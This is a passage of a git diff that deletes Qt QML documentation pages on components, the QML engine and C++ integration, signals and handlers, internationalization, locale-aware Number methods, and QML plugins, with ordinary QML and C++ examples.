instances are not dependent on the component that created them, so -they can operate on independent data. Here is an example of a simple "Button" -component (defined in a \c Button.qml file) that is instantiated four times by -\c application.qml. Each instance is created with a different value for its \c -text property: - -\table -\row -\li Button.qml -\li application.qml - -\row -\li \snippet doc/src/snippets/qml/qml-documents/qmldocuments.qml document -\li -\qml -import QtQuick 2.0 - -Column { - spacing: 10 - - Button { text: "Apple" } - Button { text: "Orange" } - Button { text: "Pear" } - Button { text: "Grape" } -} -\endqml - -\image anatomy-component.png - -\endtable - -Any snippet of QML code can become a component, just by placing it in the file -".qml" where is the component name, and begins with an \b -uppercase letter. Note that the case of all characters in the are -significant on some filesystems, notably UNIX filesystems. It is recommended -that the case of the filename matches the case of the component name in QML -exactly, regardless of the platform the QML will be deployed to. These QML -component files automatically become available as new QML element types to other -QML components and applications in the same directory. - -The \l{QML Components} article details the creation of components and how to -load them in other components. - -\section1 Inline Components - -In addition to the top-level component that all QML documents define, and any -reusable components placed in separate files, documents may also include \e -inline components. Inline components are declared using the \l Component -element, as can be seen in the first example above. Inline components share all -the characteristics of regular top-level components and use the same \c import -list as their containing QML document. Components are one of the most basic -building blocks in QML, and are frequently used as "factories" by other -elements. For example, the \l ListView element uses the \c delegate component as -the template for instantiating list items - each list item is just a new -instance of the component with the item specific data set appropriately. - -Like other \l {QML Elements}, the \l Component element is an object and must be -assigned to a property. \l Component objects may also have an object id. In the -first example on this page, the inline component is added to the \l Rectangle's -\c resources list, and then \l {Property Binding} is used to assign the \l -Component to the \l ListView's \c delegate property. The QML language even -contains a syntactic optimization when assigning directly to a component -property for this case where it will automatically insert the \l Component tag. -This means that by enclosing components in a \c Component element, we can -assign an id to the component and use the component elsewhere - -These final two examples perform identically to the original document. - -\table -\row -\li -\snippet doc/src/snippets/qml/qml-documents/inline-component.qml document -\li -\snippet doc/src/snippets/qml/qml-documents/inline-text-component.qml document -\endtable - - -For information about components, the \l{QML Components} article details the -creation of components and how to load them in other components. - -\sa QQmlComponent -*/ diff --git a/doc/src/qml/qmlengine.qdoc b/doc/src/qml/qmlengine.qdoc deleted file mode 100644 index ad77d43..0000000 --- a/doc/src/qml/qmlengine.qdoc +++ /dev/null @@ -1,481 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\target qmlengine -\page qmlengine.html -\ingroup qml-features -\title The QML Engine -\brief the engine runs QML applications - -The QML engine runs and executes QML -applications. The engine loads, instantiates, and executes the QML context as -specified in QML files, plugins, or applications. - -\section1 Core Module Classes - - The \l{QtQml}{Qt Declarative} module provides a set of C++ APIs for - extending your QML applications from C++ and embedding QML into C++ - applications. There are several core classes in the Qt Declarative module - that provide the essential capabilities for doing this. These are: - - \list - \li QQmlEngine: A QML engine provides the environment for executing QML code. Every - application requires at least one engine instance. - \li QQmlComponent: A component encapsulates QML information. - \li QQmlContext: A context allows an application to expose data to - the QML components created by an engine. - \endlist - - The Qt Declarative module consists of the engine, - context, component encapsulation, and visual items. - - \list - \li QQuickItem - \li QQuickPaintedItem - \li QQuickView - \endlist - - \section2 Declarative Engine - A QQmlEngine allows the configuration of global settings that - apply to all of its QML component instances: for example, the - QNetworkAccessManager to be used for network communications, and the - file path to be used for persistent storage. - - QQmlComponent is used to load QML documents. Each - QQmlComponent instance represents a single document. A component - can be created from the URL or file path of a QML document, or the raw - QML code of the document. Component instances are instatiated through - the QQmlComponent::create() method, like this: - - \code - QQmlEngine engine; - QQmlComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml")); - QObject *rectangleInstance = component.create(); - - // ... - delete rectangleInstance; - \endcode - - QML documents can also be loaded using QQuickView. This class - provides a convenient QWidget-based view for embedding QML components - into QGraphicsView-based applications. (For other methods of integrating - QML into QWidget-based applications, see \l {Integrating QML Code with - existing Qt UI code}.) - -\section1 Engine and Context Initialization - - \section2 Loading QML Components from C++ - - A QML document can be loaded with QQmlComponent or QQuickView. - QQmlComponent loads a QML component as a C++ object; - QQuickView also does this, but additionally loads the QML component - directly into a QGraphicsView. It is convenient for loading a displayable - QML component into a QWidget-based application. - - For example, suppose there is a \c MyItem.qml file that looks like this: - - \snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml start - \snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml end - - This QML document can be loaded with QQmlComponent or - QQuickView with the following C++ code. Using a QQmlComponent - requires calling QQmlComponent::create() to create a new instance of - the component, while a QQuickView automatically creates an instance of - the component, which is accessible via QQuickView::rootObject(): - - \table - \row - \li - \snippet doc/src/snippets/qml/qtbinding/loading/main.cpp QQmlComponent-a - \dots 0 - \snippet doc/src/snippets/qml/qtbinding/loading/main.cpp QQmlComponent-b - \li - \snippet doc/src/snippets/qml/qtbinding/loading/main.cpp QQuickView - \endtable - - This \c object is the instance of the \c MyItem.qml component that has been - created. You can now modify the item's properties using - QObject::setProperty() or QQmlProperty: - - \snippet doc/src/snippets/qml/qtbinding/loading/main.cpp properties - - Alternatively, you can cast the object to its actual type and call functions - with compile-time safety. In this case the base object of \c MyItem.qml is - an \l Item, which is defined by the QQuickItem class: - - \snippet doc/src/snippets/qml/qtbinding/loading/main.cpp cast - - You can also connect to any signals or call functions defined in the - component using QMetaObject::invokeMethod() and QObject::connect(). See \l - {Exchanging data between QML and C++} below for further details. - - \section3 Locating child objects - - QML components are essentially object trees with children that have siblings - and their own children. Child objects of QML components can be located using - the QObject::objectName property with QObject::findChild(). For example, if - the root item in \c MyItem.qml had a child \l Rectangle item: - - \snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml start - \codeline - \snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml child - \snippet doc/src/snippets/qml/qtbinding/loading/MyItem.qml end - - The child could be located like this: - - \snippet doc/src/snippets/qml/qtbinding/loading/main.cpp findChild - - If \c objectName is used inside a delegate of a ListView, \l Repeater or - some other element that creates multiple instances of its delegates, there - will be multiple children with the same \c objectName. In this case, - QObject::findChildren() can be used to find all children with a matching \c - objectName. - - \warning While it is possible to use C++ to access and manipulate QML - objects deep into the object tree, we recommend that you do not take this - approach outside of application testing and prototyping. One strength of QML - and C++ integration is the ability to implement the QML user interface - separately from the C++ logic and dataset backend, and this strategy breaks - if the C++ side reaches deep into the QML components to manipulate them - directly. This would make it difficult to, for example, swap a QML view - component for another view, if the new component was missing a required \c - objectName. It is better for the C++ implementation to know as little as - possible about the QML user interface implementation and the composition of - the QML object tree. - - - \section2 Embedding C++ Objects into QML Components - - When loading a QML scene into a C++ application, it can be useful to - directly embed C++ data into the QML object. QQmlContext enables - this by exposing data to the context of a QML component, allowing data to be - injected from C++ into QML. - - For example, here is a QML item that refers to a \c currentDateTime value - that does not exist in the current scope: - - \snippet doc/src/snippets/qml/qtbinding/context/MyItem.qml 0 - - This \c currentDateTime value can be set directly by the C++ application - that loads the QML component, using - QQmlContext::setContextProperty(): - - \snippet doc/src/snippets/qml/qtbinding/context/main.cpp 0 - - Context properties can hold either QVariant or QObject* values. This means - custom C++ objects can also be injected using this approach, and these - objects can be modified and read directly in QML. Here, we modify the above - example to embed a QObject instance instead of a QDateTime value, and the - QML code invokes a method on the object instance: - - \table - \row - \li - \snippet doc/src/snippets/qml/qtbinding/context-advanced/applicationdata.h 0 - \codeline - \snippet doc/src/snippets/qml/qtbinding/context-advanced/main.cpp 0 - \li - \snippet doc/src/snippets/qml/qtbinding/context-advanced/MyItem.qml 0 - \endtable - - (Note that date/time values returned from C++ to QML can be formatted through - \l{QML:Qt::formatDateTime}{Qt.formatDateTime()} and associated functions.) - - If the QML item needs to receive signals from the context property, it can - connect to them using the \l Connections element. For example, if \c - ApplicationData has a signal named \c dataChanged(), this signal can be - connected to using an \c onDataChanged handler within a \l Connections - object: - - \snippet doc/src/snippets/qml/qtbinding/context-advanced/connections.qml 0 - - Context properties can be useful for using C++ based data models in a QML view. See the - \l {declarative/modelviews/stringlistmodel}{String ListModel}, - \l {declarative/modelviews/objectlistmodel}{Object ListModel} and - \l {declarative/modelviews/abstractitemmodel}{AbstractItemModel} models for - respective examples on using QStringListModel, QObjectList-based models and QAbstractItemModel - in QML views. - - Also see the QQmlContext documentation for more information. - - -\section1 Invoking QML Entities through the Engine - - QML and C++ objects can communicate with one another through signals, slots - and property modifications. For a C++ object, any data that is exposed to - Qt's \l{The Meta-Object System}{Meta-Object System} that is, properties, - signals, slots and Q_INVOKABLE methods - become available to QML. On the QML - side, all QML object data is automatically made available to the meta-object - system and can be accessed from C++. - - The \l{Creating QML Types} article covers the topic of exposing Qt functions - and properties to the declarative engine. - - \section2 Calling Functions - - QML functions can be called from C++ and vice-versa. - - All QML functions are exposed to the meta-object system and can be called - using QMetaObject::invokeMethod(). Here is a C++ application that uses this - to call a QML function: - - \table - \row - \li \snippet doc/src/snippets/qml/qtbinding/functions-qml/MyItem.qml 0 - \li \snippet doc/src/snippets/qml/qtbinding/functions-qml/main.cpp 0 - \endtable - - Notice the Q_RETURN_ARG() and Q_ARG() arguments for - QMetaObject::invokeMethod() must be specified as QVariant types, as this is - the generic data type used for QML functions and return values. - - To call a C++ function from QML, the function must be either a Qt slot, or a - function marked with the Q_INVOKABLE macro, to be available to QML. In the - following example, the QML code invokes methods on the \c myObject object, - which has been set using QQmlContext::setContextProperty(): - - \table - \row - \li - \snippet doc/src/snippets/qml/qtbinding/functions-cpp/MyItem.qml 0 - \li - \snippet doc/src/snippets/qml/qtbinding/functions-cpp/myclass.h 0 - \codeline - \snippet doc/src/snippets/qml/qtbinding/functions-cpp/main.cpp 0 - \endtable - - QML supports the calling of overloaded C++ functions. If there are multiple - C++ functions with the same name but different arguments, the correct - function will be called according to the number and the types of arguments - that are provided. - - - \section2 Receiving Signals - - All QML signals are automatically available to C++, and can be connected to - using QObject::connect() like any ordinary Qt C++ signal. In return, any C++ - signal can be received by a QML object using \l {Signal Handlers}{signal - handlers}. - - Here is a QML component with a signal named \c qmlSignal. This signal is - connected to a C++ object's slot using QObject::connect(), so that the \c - cppSlot() method is called whenever the \c qmlSignal is emitted: - - \table - \row - \li - \snippet doc/src/snippets/qml/qtbinding/signals-qml/MyItem.qml 0 - \li - \snippet doc/src/snippets/qml/qtbinding/signals-qml/myclass.h 0 - \codeline - \snippet doc/src/snippets/qml/qtbinding/signals-qml/main.cpp 0 - \endtable - - To connect to Qt C++ signals from within QML, use a signal handler with the - \c on syntax. If the C++ object is directly creatable from - within QML (see \l {Defining new QML elements} above) then the signal - handler can be defined within the object declaration. In the following - example, the QML code creates a \c ImageViewer object, and the \c - imageChanged and \c loadingError signals of the C++ object are connected to - through \c onImagedChanged and \c onLoadingError signal handlers in QML: - - \table - \row - \li - - \snippet doc/src/snippets/qml/qtbinding/signals-cpp/imageviewer.h start - \dots 4 - \snippet doc/src/snippets/qml/qtbinding/signals-cpp/imageviewer.h end - - \li - \snippet doc/src/snippets/qml/qtbinding/signals-cpp/standalone.qml 0 - \endtable - - (Note that if a signal has been declared as the NOTIFY signal for a - property, QML allows it to be received with an \c onChanged - handler even if the signal's name does not follow the \c Changed - naming convention. In the above example, if the "imageChanged" signal was - named "imageModified" instead, the \c onImageChanged signal handler would - still be called.) - - If, however, the object with the signal is not created from within the QML - code, and the QML item only has a reference to the created object - for - example, if the object was set using - QQmlContext::setContextProperty() - then the \l Connections element - can be used instead to create the signal handler: - - \table - \row - \li \snippet doc/src/snippets/qml/qtbinding/signals-cpp/main.cpp connections - \li \snippet doc/src/snippets/qml/qtbinding/signals-cpp/MyItem.qml 0 - \endtable - - C++ signals can use enum values as parameters provided that the enum is - declared in the class that is emitting the signal, and that the enum is - registered using Q_ENUMS. See \l {Using enumerations of a custom type} below - for details. - - - \section2 Modifying Properties - - Any properties declared in a QML object are automatically accessible from - C++. Given a QML item like this: - - \snippet doc/src/snippets/qml/qtbinding/properties-qml/MyItem.qml 0 - - The value of the \c someNumber property can be set and read using - QQmlProperty, or QObject::setProperty() and QObject::property(): - - \snippet doc/src/snippets/qml/qtbinding/properties-qml/main.cpp 0 - - You should always use QObject::setProperty(), QQmlProperty or - QMetaProperty::write() to change a QML property value, to ensure the QML - engine is made aware of the property change. For example, say you have a - custom element \c PushButton with a \c buttonText property that internally - reflects the value of a \c m_buttonText member variable. Modifying the - member variable directly like this is not a good idea: - - \badcode - // BAD! - QQmlComponent component(engine, "MyButton.qml"); - PushButton *button = qobject_cast(component.create()); - button->m_buttonText = "Click me"; - \endcode - Since the value is changed directly, this bypasses Qt's \l{The Meta-Object - System}{meta-object system} and the QML engine is not made aware of the - property change. This means property bindings to \c buttonText would not be - updated, and any \c onButtonTextChanged handlers would not be called. - - \target properties-cpp - - Any \l {The Property System}{Qt properties} - that is, those declared with - the Q_PROPERTY() macro - are accessible from QML. Here is a modified version - of the \l {Embedding C++ objects into QML components}{earlier example} on - this page; here, the \c ApplicationData class has a \c backgroundColor - property. This property can be written to and read from QML: - - \table - \row - \li \snippet doc/src/snippets/qml/qtbinding/properties-cpp/applicationdata.h 0 - \li \snippet doc/src/snippets/qml/qtbinding/properties-cpp/MyItem.qml 0 - \endtable - - Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal - for the \c backgroundColor property. If a Qt property does not have an - associated NOTIFY signal, the property cannot be used for \l{Property - Binding in QML}, as the QML engine would not be notified when the value - changes. If you are using custom types in QML, make sure their properties - have NOTIFY signals so that they can be used in property bindings. - - The \l{Creating QML Types} article covers the topic of exposing Qt - properties to the runtime. For more information, the - \l{Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} - tutorial demonstrates basic usage patterns. - -\section1 Loading QML Plugins - - Additional Qt code is runnable in the engine as a QML plugin. The \l{QML - Plugins} article covers the creation and usage patterns of QML plugins. The - QQmlExtensionPlugin class is an abstract class for writing QML - plugins. The \l {How to Create Qt Plugins} contains more information about - Qt's plugin system. - -\target qml-engine-optimization -\section1 Optimization - - Often, to develop high performance elements it is helpful to know more about - the status of the QML engine. For example, it might be beneficial to delay - initializing some costly data structures until after all the properties have - been set. - - The QML engine defines an interface class called QQmlParserStatus, - which contains a number of virtual methods that are invoked at various - stages during component instantiation. To receive these notifications, an - element implementation inherits QQmlParserStatus and notifies the Qt - meta system using the Q_INTERFACES() macro. - - \code - class Example : public QObject, public QQmlParserStatus - { - Q_OBJECT - Q_INTERFACES(QQmlParserStatus) - public: - virtual void componentComplete() - { - qDebug() << "Woohoo! Now to do my costly initialization"; - } - }; - \endcode - -\section1 Memory Management and QVariant types - - It is a component's responsibility to ensure that it does not access or - return pointers to invalid objects. QML makes the following guarentees: - - \list - \li An object assigned to a QObject (or QObject-derived) pointer property - will be valid at the time of assignment. - - Following assignment, it is the responsibility of the class to subsequently - guard this pointer, either through a class specific method or the generic - QPointer class. - - \li An object assigned to a QVariant will be valid at the time of assignment. - - When assigning an object to a QVariant property, QML will always use a - QMetaType::QObjectStar typed QVariant. It is the responsibility of the class - to guard the pointer. A general rule when writing a class that uses QVariant - properties is to check the type of the QVariant when it is set and if the - type is not handled by your class, reset it to an invalid variant. - - \li An object assigned to a QObject (or QObject-derived) list property will - be valid at the time of assignment. - - Following assignment, it is the responsibility of the class to subsequently - guard this pointer, either through a class specific method or the generic - QPointer class. - \endlist - - Components should assume that any QML assigned object can be deleted at any - time, and respond accordingly. If documented as such an element need not - continue to work in this situation, but it must not crash. - -\section1 JavaScript Runtime - - The runtime implements the \l{ECMA-262}{ECMAScript Language Specification} standard, - 5th edition. The reserved words, conditionals, variables, and object behaviors - follow after the standard. - - The \l{QML JavaScript Host Environment} article has information about the - JavaScript host environment provided by QML, which is different than the - browser host environment many are familiar with. - - The \l{JavaScript Code} article has information about placing JavaScript - code within QML code. - -*/ diff --git a/doc/src/qml/qmlevents.qdoc b/doc/src/qml/qmlevents.qdoc deleted file mode 100644 index 2567ddd..0000000 --- a/doc/src/qml/qmlevents.qdoc +++ /dev/null @@ -1,130 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlevents.html -\ingroup qml-features - -\title QML Signal and Handler Event System -\brief the event sytem in QML - -Application and user interface components communicate with each other. For -example, a button component needs to know that the user is clicking on it. -The button may change colors to indicate its state or perform some logic. As -well, application needs to know whether the user is clicking the button. The -application may need to relay this clicking event to other applications. - -QML has a signal and handler mechanism, where the \e signal is the event -and the component responds to the event through the \e handler. The signal -is emitted and the handler is invoked. Placing logic such as scripts or other -operations in the handler allows the component to respond to the event. - -\keyword qml-signals-and-handlers -\section1 Signals and Handlers - -Signals provide a way to notify other objects when an event has occurred. For -example, the MouseArea \c clicked signal notifies other objects that the mouse -has been clicked within the area. - -The syntax for defining a new signal is: - -\tt{signal [([ [, ...]])]} - -Attempting to declare two signals or methods with the same name in the same type -block generates an error. However, a new signal may reuse the name of an existing signal on the type. (This should be done with caution, as the existing signal may be hidden and become inaccessible.) - -Here are various examples of signal declarations: -\snippet doc/src/snippets/qml/events.qml parent begin -\snippet doc/src/snippets/qml/events.qml signal declaration -\snippet doc/src/snippets/qml/events.qml parent end - -If the signal has no parameters, the "\c{()}" brackets are optional. If -parameters are used, the parameter types must be declared, as for the \c string -and \c variant arguments of the \c perform signal. - -Adding a signal to an item automatically adds a \e{signal handler} as well. The -signal hander is named \c on, with the first letter of the signal in -uppercase. The previous signals have the following signal handlers: -\snippet doc/src/snippets/qml/events.qml signal handler declaration - -Further, each QML properties have a \c{Changed} signal and its -corresponding \c{onChanged} signal handler. As a result, property -changes may notify other components for any changes. -\snippet doc/src/snippets/qml/events.qml automatic signals - -To emit a signal, invoke it as a method. The signal handler binding is similar -to a property binding and it is invoked when the signal is emitted. Use the -defined argument names to access the respective arguments. -\snippet doc/src/snippets/qml/events.qml signal emit -Note that the \c Component.onCompleted is an -\l{attached-signalhandlers}{attached signal handler}; it is invoked when the -\l Component initialization is complete. - -\keyword qml-connect-signals-to-method -\section2 Connecting Signals to Methods and Signals - -Signal objects have a \c connect() method to a connect a signal either to a -method or another signal. When a signal is connected to a method, the method is -automatically invoked whenever the signal is emitted. This mechanism enables a -signal to be received by a method instead of a -\l {Signal Handlers}{signal handler}. - -\snippet doc/src/snippets/qml/events.qml connect method -The \c {connect()} method is appropriate when connecting a JavaScript method to -a signal. - -There is a corresponding \c disconnect() method for removing connected -signals. - -\section3 Signal to Signal Connect - -By connecting signals to other signals, the \c connect() method can form different -signal chains. -\snippet doc/src/snippets/qml/events.qml forward signal - - -Whenever the \l MouseArea \c clicked signal is emitted, the \c send -signal will automatically be emitted as well. - -\code -output: - MouseArea clicked - Send clicked -\endcode - -\section1 Events from the Declarative Runtime - -There maybe cases where a signal comes from the \l{The QML Engine}{declarative -runtime}. For example, it is possible to receive events from \l{QML Plugins}{QML -plugins}. For more signal control, the \c connect() method and the \l -Connections element may connect a signal from the runtime to another signal or -method. - -For complete information on events from the runtime or creating signals from the -runtime, read the \l{The QML Engine} and the \l{Creating QML Types} articles. - -*/ diff --git a/doc/src/qml/qmli18n.qdoc b/doc/src/qml/qmli18n.qdoc deleted file mode 100644 index b65c001..0000000 --- a/doc/src/qml/qmli18n.qdoc +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-i18n.html -\ingroup qml-features -\title QML Internationalization -\brief translating texts in QML - -\section1 Translation - -Strings in QML can be marked for translation using the qsTr(), qsTranslate(), qsTrId(), -QT_TR_NOOP(), QT_TRANSLATE_NOOP(), and QT_TRID_NOOP() functions. - -For example: -\qml -Text { text: qsTr("Pictures") } -\endqml - -These functions are standard QtScript functions; for more details see -QScriptEngine::installTranslatorFunctions(). - -QML relies on the core internationalization capabilities provided by Qt. These -capabilities are described more fully in: -\list -\li \l {Internationalization with Qt} -\li \l {Qt Linguist Manual} -\endlist - -You can test a translation with the \l {QML Viewer} using the -translation option. - -\section2 Example - -First we create a simple QML file with text to be translated. The string -that needs to be translated is enclosed in a call to \c qsTr(). - -hello.qml: -\qml -import QtQuick 2.0 - -Rectangle { - width: 200; height: 200 - Text { text: qsTr("Hello"); anchors.centerIn: parent } -} -\endqml - -Next we create a translation source file using lupdate: -\code -lupdate hello.qml -ts hello.ts -\endcode - -Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide -a translation and create the release file \c hello.qm. - -Finally, we can test the translation: -\code -qmlviewer -translation hello.qm hello.qml -\endcode - -You can see a complete example and source code in the \l{declarative/i18n}{QML Internationalization example}. - -\section1 Localization - -Localization is the process of adapting to local conventions, -for example presenting dates and times using the locally preferred formats. - -Qt Quick supports localization via the \l {QtQuick2::Locale}{Locale} object and extensions to the -\l{ECMA-262}{ECMAScript} \l {QtQuick2::Date}{Date} and \l {QtQuick2::Number}{Number} types. - - -*/ diff --git a/doc/src/qml/qmlnumber.qdoc b/doc/src/qml/qmlnumber.qdoc deleted file mode 100644 index 47dc033..0000000 --- a/doc/src/qml/qmlnumber.qdoc +++ /dev/null @@ -1,105 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \qmlclass Number - \inqmlmodule QtQuick 2 - \brief The Number object provides represents a number value - - The QML Number object extends the JS Number object with - locale aware functions. - - \sa {QtQuick2::Locale}{Locale} -*/ - -/*! - \qmlmethod string Number::toLocaleString(locale,format,precision) - - Converts the Number to a string suitable for the specified \a locale - in the specified \a format, with the specified \a precision. - - Valid formats are: - \list - \li 'f' Decimal floating point, e.g. 248.65 - \li 'e' Scientific notation using e character, e.g. 2.4865e+2 - \li 'E' Scientific notation using E character, e.g. 2.4865E+2 - \li 'g' Use the shorter of e or f - \li 'G' Use the shorter of E or f - \endlist - - If precision is not specified, the precision will be 2. - - If the format is not specified 'f' will be used. - - If \a locale is not specified, the default locale will be used. - - The following example shows a number formatted for the German locale: - \code - import QtQuick 2.0 - - Text { - text: "The value is: " + Number(4742378.423).toLocaleString(Qt.locale("de_DE")) - } - \endcode - - You can apply toLocaleString() directly to constants, provided the decimal - is included in the constant, e.g. - \code - 123.0.toLocaleString(Qt.locale("de_DE")) // OK - 123..toLocaleString(Qt.locale("de_DE")) // OK - 123.toLocaleString(Qt.locale("de_DE")) // fails - \endcode -*/ - -/*! - \qmlmethod string Number::toLocaleCurrencyString(locale,symbol) - - Converts the Number to a currency using the currency and conventions of the specified - \a locale. If \a symbol is specified it will be used as the currency - symbol. - - \sa Locale::currencySymbol() -*/ - -/*! - \qmlmethod string Number::fromLocaleString(locale,number) - - Returns a Number by parsing \a number using the conventions of the supplied \a locale. - - If \a locale is not supplied the default locale will be used. - - For example, using the German locale: - \code - var german = Qt.locale("de_DE"); - var d; - d = Number.fromLocaleString(german, "1234,56) // d == 1234.56 - d = Number.fromLocaleString(german, "1.234,56") // d == 1234.56 - d = Number.fromLocaleString(german, "1234.56") // throws exception - d = Number.fromLocaleString(german, "1.234") // d == 1234.0 - \endcode -*/ - diff --git a/doc/src/qml/qmlplugins.qdoc b/doc/src/qml/qmlplugins.qdoc deleted file mode 100644 index b81c4c5..0000000 --- a/doc/src/qml/qmlplugins.qdoc +++ /dev/null @@ -1,133 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qml-plugins.html -\title QML Plugins -\target qml-plugins -\brief importing Qt C++ functions as plugins - - - The \l{The QML Engine}{QML engine} can run Qt C++ applications - by \l{register-c++-type}{registering} types into the runtime and by loading - C++ code as plugins. Plugins are imported and labeled as modules and - its content are available as components. - - QQmlExtensionPlugin is a plugin interface that makes it possible to - create QML extensions that can be loaded dynamically into QML applications. - These extensions allow custom QML types to be made available to the - QML engine. - - To write a QML extension plugin: - \list 1 - \li Subclass QQmlExtensionPlugin - \li Implement QQmlExtensionPlugin's - \l{QQmlExtensionPlugin::}{registerTypes()} method - \li Register types with qmlRegisterType() - \li Export the class using the Q_EXPORT_PLUGIN2() macro - \li Write a project file for the plugin - \li Create a \l{Writing a qmldir file}{qmldir file} to describe the plugin - \endlist - - QML extension plugins are for either application-specific or library-like - plugins. Library plugins should limit themselves to registering types, as - any manipulation of the engine's root context may cause conflicts or other - issues in the library user's code. - -\section1 Plugin Example - - Suppose there is a new \c TimeModel C++ class that should be made available - as a new QML element. It provides the current time through \c hour and \c minute - properties. - - \snippet examples/declarative/cppextensions/plugins/plugin.cpp 0 - \dots - - A plugin class, \c QExampleQMLPlugin, is a subclass of - \l QQmlExtensionPlugin and it implements the - \l{QQmlExtensionPlugin::}{registerTypes()} method. - - In the registerTypes() method, the plugin class can - \l{register-c++-type}{register} the \c TimeModel class to the declarative - runtime with the qmlRegisterType() function. The Q_EXPORT_PLUGIN2() macro has - two parameters, the generated plugin name and the class name. - - \snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin - \codeline - \snippet examples/declarative/cppextensions/plugins/plugin.cpp export - - The \c TimeModel class receives a \c{1.0} version of this plugin library, as - a QML type called \c Time. The Q_ASSERT() macro can ensure the module is - imported correctly by any QML components that use this plugin. The - \l{Creating QML Types} article has more information about registering C++ - types into the runtime. - - For this example, the TimeExample source directory is in - \c{com/nokia/TimeExample}. The plugin's module import statement will follow - this structure. - - The project file, in a \c .pro file, defines the project as a plugin library - and specifies it should be built into the \c com/nokia/TimeExample - directory: - - \code - TEMPLATE = lib - CONFIG += qt plugin - QT += declarative - - DESTDIR = com/nokia/TimeExample - TARGET = qmlqtimeexampleplugin - ... - \endcode - - Finally, a \l{Writing a qmldir file}{qmldir file} is required in the \c - com/nokia/TimeExample directory to specify the plugin. This directory - includes a \c Clock.qml file that should be bundled with the plugin, so it - needs to be specified in the \c qmldir file: - - \quotefile examples/declarative/cppextensions/plugins/com/nokia/TimeExample/qmldir - - Once the project is built and installed, the new \c Time component is - accessible by any QML component that imports the \c com.nokia.TimeExample - module - - \snippet examples/declarative/cppextensions/plugins/plugins.qml 0 - - The full source code is available in the \l {declarative/cppextensions/plugins}{plugins example}. - - -\section1 Reference - - \list - \li \l {Tutorial: Writing QML extensions with C++} - contains a chapter - on creating QML plugins. - \li \l{Creating QML Types} - information about registering C++ types into - the runtime. - \li \l{How to Create Qt Plugins} - information about Qt plugins - \endlist - - -*/ diff --git a/doc/src/qml/qmlruntime.qdoc b/doc/src/qml/qmlruntime.qdoc deleted file mode 100644 index 8313234..0000000 --- a/doc/src/qml/qmlruntime.qdoc +++ /dev/null @@ -1,143 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlruntime.html -\title Qt Declarative UI Runtime -\brief launching QML based applications through Qt - -QML documents are loaded and executed by the QML runtime. This includes the -Declarative UI engine along with the built-in QML elements and plugin modules, -and it also provides access to third-party QML elements and modules. - -Applications that use QML need to invoke the QML runtime in order to -execute QML documents. This can be done by creating a QQuickView -or a QQmlEngine, as described below. In addition, the Declarative UI 